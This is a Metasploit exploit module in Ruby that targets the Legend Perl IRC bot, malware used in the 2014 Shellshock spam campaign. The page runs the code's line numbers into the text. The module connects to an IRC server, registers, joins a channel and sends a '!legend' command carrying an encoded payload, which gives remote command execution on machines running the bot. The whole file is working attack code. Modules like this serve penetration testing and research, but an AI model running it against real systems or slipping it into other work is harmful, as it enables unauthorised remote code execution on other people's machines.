Path: blob/master/modules/exploits/multi/misc/legend_bot_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Legend Perl IRC Bot Remote Code Execution',15'Description' => %q{16This module exploits a remote command execution on the Legend Perl IRC Bot.17This bot has been used as a payload in the Shellshock spam last October 2014.18This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and19UDP flooding, the ability to remove system logs, and ability to gain root, and20VNC scanning.2122Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script23to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.24},25'Author' => [26'Jay Turla' # msf and initial discovery27# MalwareMustDie28],29'License' => MSF_LICENSE,30'References' => [31[ 'OSVDB', '121681' ],32[ 'EDB', '36836' ],33[ 'URL', 'https://www.damballa.com/perlbotnado/' ],34[ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details35],36'Platform' => %w{unix win},37'Arch' => ARCH_CMD,38'Payload' => {39'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf40'DisableNops' => true,41'Compat' =>42{43'PayloadType' => 'cmd'44}45},46'Targets' => [47[ 'Legend IRC Bot', {} ]48],49'Privileged' => false,50'DisclosureDate' => '2015-04-27',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62Opt::RPORT(6667),63OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),64OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),65OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])66]67)68end6970def post_auth?71true72end7374def check75connect7677res = register(sock)78if res =~ /463/ || res =~ /464/79vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")80return Exploit::CheckCode::Unknown81end8283res = join(sock)84if !res =~ /353/ && !res =~ /366/85vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")86return Exploit::CheckCode::Unknown87end8889quit(sock)90disconnect9192if res =~ /auth/ && res =~ /logged in/93Exploit::CheckCode::Vulnerable94else95Exploit::CheckCode::Safe96end97end9899def send_msg(sock, data)100sock.put(data)101data = ""102begin103read_data = sock.get_once(-1, 1)104while !read_data.nil?105data << read_data106read_data = sock.get_once(-1, 1)107end108rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e109elog(e)110end111112data113end114115def register(sock)116msg = ""117118if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?119msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"120end121122if datastore['NICK'].length > 9123nick = rand_text_alpha(9)124print_error("The nick is longer than 9 characters, using #{nick}")125else126nick = datastore['NICK']127end128129msg << "NICK #{nick}\r\n"130msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"131132send_msg(sock, msg)133end134135def join(sock)136join_msg = "JOIN #{datastore['CHANNEL']}\r\n"137send_msg(sock, join_msg)138end139140def legend_command(sock)141encoded = payload.encoded142command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"143send_msg(sock, command_msg)144end145146def quit(sock)147quit_msg = "QUIT :bye bye\r\n"148sock.put(quit_msg)149end150151def exploit152connect153154print_status("#{rhost}:#{rport} - Registering with the IRC Server...")155res = register(sock)156if res =~ /463/ || res =~ /464/157print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")158return159end160161print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")162res = join(sock)163if !res =~ /353/ && !res =~ /366/164print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")165return166end167168print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")169legend_command(sock)170171quit(sock)172disconnect173end174end175176177